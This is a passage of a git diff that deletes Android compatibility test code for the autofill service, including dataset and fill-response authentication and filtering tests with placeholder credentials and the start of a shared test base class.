-                        .setField(ID_PASSWORD, "SWEET")
-                        .setPresentation(createPresentation("DS2"))
-                        .setAuthentication(authentication)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ZzBottom")
-                        .setField(ID_PASSWORD, "top")
-                        .setPresentation(createPresentation("DS3"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("DS1", "DS2", "DS3");
-
-        // ...then type something to hide them.
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert they're shown again...
-        mActivity.onUsername((v) -> v.setText(""));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("DS1", "DS2", "DS3");
-
-        // ...then filter for 2
-        mActivity.onUsername((v) -> v.setText("d"));
-        mUiBot.assertDatasets("DS1", "DS2");
-
-        // ...up to 1
-        mActivity.onUsername((v) -> v.setText("du"));
-        mUiBot.assertDatasets("DS1", "DS2");
-        mActivity.onUsername((v) -> v.setText("dud"));
-        mUiBot.assertDatasets("DS1", "DS2");
-        mActivity.onUsername((v) -> v.setText("dude"));
-        mUiBot.assertDatasets("DS1", "DS2");
-        mActivity.onUsername((v) -> v.setText("dude,"));
-        mUiBot.assertDatasets("DS2");
-
-        // Now delete the char and assert 2 are shown again...
-        mActivity.onUsername((v) -> v.setText("dude"));
-        final UiObject2 picker = mUiBot.assertDatasets("DS1", "DS2");
-
-        // ...and select it this time
-        mUiBot.selectDataset(picker, "DS1");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testDatasetAuthFilteringUsingRegex() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-
-        // Configure the service behavior
-
-        final Pattern min2Chars = Pattern.compile(".{2,}");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, min2Chars)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // ...then type something to hide it.
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // ...now type something again to show it, as the input will have 2 chars.
-        mActivity.onUsername((v) -> v.setText("aa"));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // Delete the char and assert it's not shown again...
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // ...then type something again to show it, as the input will have 2 chars.
-        mActivity.onUsername((v) -> v.setText("aa"));
-        callback.assertUiShownEvent(username);
-
-        // ...and select it this time
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
-    public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
-        datasetAuthMixedFilteringTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
-    public void testDatasetAuthMixedFilteringSelectNonAuth() throws Exception {
-        datasetAuthMixedFilteringTest(false);
-    }
-
-    private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "DUDE")
-                .setField(ID_PASSWORD, "SWEET")
-                .build();
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("What, me auth?"))
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        if (selectAuth) {
-            mActivity.expectAutoFill("DUDE", "SWEET");
-        } else {
-            mActivity.expectAutoFill("dude", "sweet");
-        }
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
-
-        // Filter the auth dataset.
-        mActivity.onUsername((v) -> v.setText("d"));
-        mUiBot.assertDatasets("What, me auth?");
-
-        // Filter all.
-        mActivity.onUsername((v) -> v.setText("dw"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert the non-auth is shown again.
-        mActivity.onUsername((v) -> v.setText("d"));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("What, me auth?");
-
-        // Delete again and assert all dataset are shown.
-        mActivity.onUsername((v) -> v.setText(""));
-        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
-
-        // ...and select it this time
-        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
-        mUiBot.selectDataset(chosenOne);
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
-        fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthClientStateSetOnIntentOnly() is enough")
-    public void testDatasetAuthClientStateSetOnFillResponseOnly() throws Exception {
-        fillDatasetAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthClientStateSetOnIntentOnly() is enough")
-    public void testDatasetAuthClientStateSetOnIntentAndFillResponse() throws Exception {
-        fillDatasetAuthWithClientState(ClientStateLocation.BOTH);
-    }
-
-    private void fillDatasetAuthWithClientState(ClientStateLocation where) throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare the authenticated response
-        final CannedDataset dataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
-                ? AuthenticationActivity.createSender(mContext, 1,
-                        dataset)
-                : AuthenticationActivity.createSender(mContext, 1,
-                        dataset, Helper.newClientState("CSI", "FromIntent"));
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(Helper.newClientState("CSI", "FromResponse"))
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Tap authentication request.
-        mUiBot.selectDataset("Tap to auth dataset");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Now trigger save.
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert client state on authentication activity.
-        Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
-                "CSI", "FromResponse");
-
-        // Assert client state on save request.
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
-                ? "FromResponse" : "FromIntent";
-        Helper.assertAuthenticationClientState("on save", saveRequest.data, "CSI", expectedValue);
-    }
-
-    @Test
-    public void testFillResponseAuthBothFields() throws Exception {
-        fillResponseAuthBothFields(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthBothFieldsUserCancelsFirstAttempt() throws Exception {
-        fillResponseAuthBothFields(true);
-    }
-
-    private void fillResponseAuthBothFields(boolean cancelFirstAttempt) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final Bundle clientState = new Bundle();
-        clientState.putString("numbers", "4815162342");
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setId("name")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .setExtras(clientState).build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .setExtras(clientState)
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // Make sure UI is show on 2nd field as well
-        final View password = mActivity.getPassword();
-        requestFocusOnPassword();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // Now tap on 1st field to show it again...
-        requestFocusOnUsername();
-        callback.assertUiHiddenEvent(password);
-        callback.assertUiShownEvent(username);
-
-        if (cancelFirstAttempt) {
-            // Trigger the auth dialog, but emulate cancel.
-            AuthenticationActivity.setResultCode(RESULT_CANCELED);
-            mUiBot.selectDataset("Tap to auth response");
-            callback.assertUiHiddenEvent(username);
-            callback.assertUiShownEvent(username);
-            mUiBot.assertDatasets("Tap to auth response");
-
-            // Make sure it's still shown on other fields...
-            requestFocusOnPassword();
-            callback.assertUiHiddenEvent(username);
-            callback.assertUiShownEvent(password);
-            mUiBot.assertDatasets("Tap to auth response");
-
-            // Tap on 1st field to show it again...
-            requestFocusOnUsername();
-            callback.assertUiHiddenEvent(password);
-            callback.assertUiShownEvent(username);
-        }
-
-        // ...and select it this time
-        AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(username);
-        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
-        mUiBot.selectDataset(picker, "Dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        final Bundle data = AuthenticationActivity.getData();
-        assertThat(data).isNotNull();
-        final String extraValue = data.getString("numbers");
-        assertThat(extraValue).isEqualTo("4815162342");
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthJustOneField() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final Bundle clientState = new Bundle();
-        clientState.putString("numbers", "4815162342");
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME)
-                .setIgnoreFields(ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .setExtras(clientState)
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // Make sure UI is not show on 2nd field
-        requestFocusOnPassword();
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-        // Now tap on 1st field to show it again...
-        requestFocusOnUsername();
-        callback.assertUiShownEvent(username);
-
-        // ...and select it this time
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
-
-        callback.assertUiShownEvent(username);
-        mUiBot.selectDataset(picker, "Dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        final Bundle data = AuthenticationActivity.getData();
-        assertThat(data).isNotNull();
-        final String extraValue = data.getString("numbers");
-        assertThat(extraValue).isEqualTo("4815162342");
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthWhenAppCallsCancel() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setId("name")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .build());
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // Disables autofill so it's not triggered again after the auth activity is finished
-        // (and current session is canceled) and the login activity is resumed.
-        username.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO);
-
-        // Autofill it.
-        final CountDownLatch latch = new CountDownLatch(1);
-        AuthenticationActivity.setResultCode(latch, RESULT_OK);
-
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-
-        // Cancel session...
-        mActivity.getAutofillManager().cancel();
-
-        // ...before finishing the Auth UI.
-        latch.countDown();
-
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthServiceHasNoDataButCanSave() throws Exception {
-        fillResponseAuthServiceHasNoDataTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthServiceHasNoData() throws Exception {
-        fillResponseAuthServiceHasNoDataTest(false);
-    }
-
-    private void fillResponseAuthServiceHasNoDataTest(boolean canSave) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final CannedFillResponse response = canSave
-                ? new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                        .build()
-                : CannedFillResponse.NO_RESPONSE;
-
-        final IntentSender authentication =
-                AuthenticationActivity.createSender(mContext, 1, response);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .build());
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-
-        // Select the authentication dialog.
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        if (!canSave) {
-            // Our work is done!
-            return;
-        }
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-        assertThat(saveRequest.datasetIds).isNull();
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(usernameNode, "malkovich");
-        final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-        assertTextAndValue(passwordNode, "malkovich");
-    }
-
-    @Test
-    public void testFillResponseAuthClientStateSetOnIntentOnly() throws Exception {
-        fillResponseAuthWithClientState(ClientStateLocation.INTENT_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthClientStateSetOnIntentOnly() is enough")
-    public void testFillResponseAuthClientStateSetOnFillResponseOnly() throws Exception {
-        fillResponseAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthClientStateSetOnIntentOnly() is enough")
-    public void testFillResponseAuthClientStateSetOnIntentAndFillResponse() throws Exception {
-        fillResponseAuthWithClientState(ClientStateLocation.BOTH);
-    }
-
-    enum ClientStateLocation {
-        INTENT_ONLY,
-        FILL_RESPONSE_ONLY,
-        BOTH
-    }
-
-    private void fillResponseAuthWithClientState(ClientStateLocation where) throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare the authenticated response
-        final CannedFillResponse.Builder authenticatedResponseBuilder =
-                new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("Dataset"))
-                        .build());
-
-        if (where == ClientStateLocation.FILL_RESPONSE_ONLY || where == ClientStateLocation.BOTH) {
-            authenticatedResponseBuilder.setExtras(
-                    Helper.newClientState("CSI", "FromAuthResponse"));
-        }
-
-        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
-                ? AuthenticationActivity.createSender(mContext, 1,
-                authenticatedResponseBuilder.build())
-                : AuthenticationActivity.createSender(mContext, 1,
-                        authenticatedResponseBuilder.build(),
-                        Helper.newClientState("CSI", "FromIntent"));
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME)
-                .setIgnoreFields(ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .setExtras(Helper.newClientState("CSI", "FromResponse"))
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Tap authentication request.
-        mUiBot.selectDataset("Tap to auth response");
-
-        // Tap dataset.
-        mUiBot.selectDataset("Dataset");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Now trigger save.
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert client state on authentication activity.
-        Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
-                "CSI", "FromResponse");
-
-        // Assert client state on save request.
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
-                ? "FromAuthResponse" : "FromIntent";
-        Helper.assertAuthenticationClientState("on save", saveRequest.data, "CSI", expectedValue);
-    }
-
-    @Test
-    public void testFillResponseFiltering() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final Bundle clientState = new Bundle();
-        clientState.putString("numbers", "4815162342");
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setId("name")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .setExtras(clientState).build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .setExtras(clientState)
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // ..then type something to hide it.
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert it's shown again...
-        mActivity.onUsername((v) -> v.setText(""));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // ...and select it this time
-        AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(username);
-        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
-        mUiBot.selectDataset(picker, "Dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        final Bundle data = AuthenticationActivity.getData();
-        assertThat(data).isNotNull();
-        final String extraValue = data.getString("numbers");
-        assertThat(extraValue).isEqualTo("4815162342");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
deleted file mode 100644
index f0e1179..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ /dev/null
@@ -1,468 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
-import static android.content.Context.CLIPBOARD_SERVICE;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import android.app.PendingIntent;
-import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
-import android.autofillservice.cts.augmented.AugmentedAuthActivity;
-import android.autofillservice.cts.inline.InlineUiBot;
-import android.content.ClipboardManager;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.provider.DeviceConfig;
-import android.provider.Settings;
-import android.service.autofill.InlinePresentation;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-import android.widget.RemoteViews;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
-import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.RetryRule;
-import com.android.compatibility.common.util.SafeCleanerRule;
-import com.android.compatibility.common.util.SettingsStateKeeperRule;
-import com.android.compatibility.common.util.TestNameUtils;
-import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSessionRule;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.ClassRule;
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-
-/**
- * Placeholder for the base class for all integration tests:
- *
- * <ul>
- *   <li>{@link AutoActivityLaunch}
- *   <li>{@link ManualActivityLaunch}
- * </ul>
- *
- * <p>These classes provide the common infrastructure such as:
- *
- * <ul>
- *   <li>Preserving the autofill service settings.
- *   <li>Cleaning up test state.
- *   <li>Wrapping the test under autofill-specific test rules.
- *   <li>Launching the activity used by the test.
- * </ul>
- */
-public final class AutoFillServiceTestCase {
-
-    /**
-     * Base class for all test cases that use an {@link AutofillActivityTestRule} to
-     * launch the activity.
-     */
-    // Must be public because of @ClassRule
-    public abstract static class AutoActivityLaunch<A extends AbstractAutoFillActivity>
-            extends BaseTestCase {
-
-        /**
-         * Returns if inline suggestion is enabled.
-         */
-        protected boolean isInlineMode() {
-            return false;
-        }
-
-        protected static UiBot getInlineUiBot() {
-            return sDefaultUiBot2;
-        }
-
-        protected static UiBot getDropdownUiBot() {
-            return sDefaultUiBot;
-        }
-
-        @ClassRule
-        public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
-                sTheRealServiceSettingsKeeper;
-
-        protected AutoActivityLaunch() {
-            super(sDefaultUiBot);
-        }
-        protected AutoActivityLaunch(UiBot uiBot) {
-            super(uiBot);
-        }
-
-        @Override
-        protected TestRule getMainTestRule() {
-            return getActivityRule();
-        }
-
-        /**
-         * Gets the rule to launch the main activity for this test.
-         *
-         * <p><b>Note: </b>the rule must be either lazily generated or a static singleton, otherwise
-         * this method could return {@code null} when the rule chain that uses it is constructed.
-         *
-         */
-        protected abstract @NonNull AutofillActivityTestRule<A> getActivityRule();
-
-        protected @NonNull A launchActivity(@NonNull Intent intent) {
-            return getActivityRule().launchActivity(intent);
-        }
-
-        protected @NonNull A getActivity() {
-            return getActivityRule().getActivity();
-        }
-    }
-
-    /**
-     * Base class for all test cases that don't require an {@link AutofillActivityTestRule}.
-     */
-    // Must be public because of @ClassRule
-    public abstract static class ManualActivityLaunch extends BaseTestCase {
-
-        @ClassRule
-        public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
-                sTheRealServiceSettingsKeeper;
-
-        protected ManualActivityLaunch() {
-            this(sDefaultUiBot);
-        }
-
-        protected ManualActivityLaunch(@NonNull UiBot uiBot) {
-            super(uiBot);
-        }
-
-        @Override
-        protected TestRule getMainTestRule() {
-            // TODO: create a NoOpTestRule on common code
-            return new TestRule() {
-
-                @Override
-                public Statement apply(Statement base, Description description) {
-                    // Returns a no-op statements
-                    return new Statement() {
-                        @Override
-                        public void evaluate() throws Throwable {
-                            base.evaluate();
-                        }
-                    };
-                }
-            };
-        }
-
-        protected SimpleSaveActivity startSimpleSaveActivity() throws Exception {
-            final Intent intent = new Intent(mContext, SimpleSaveActivity.class)
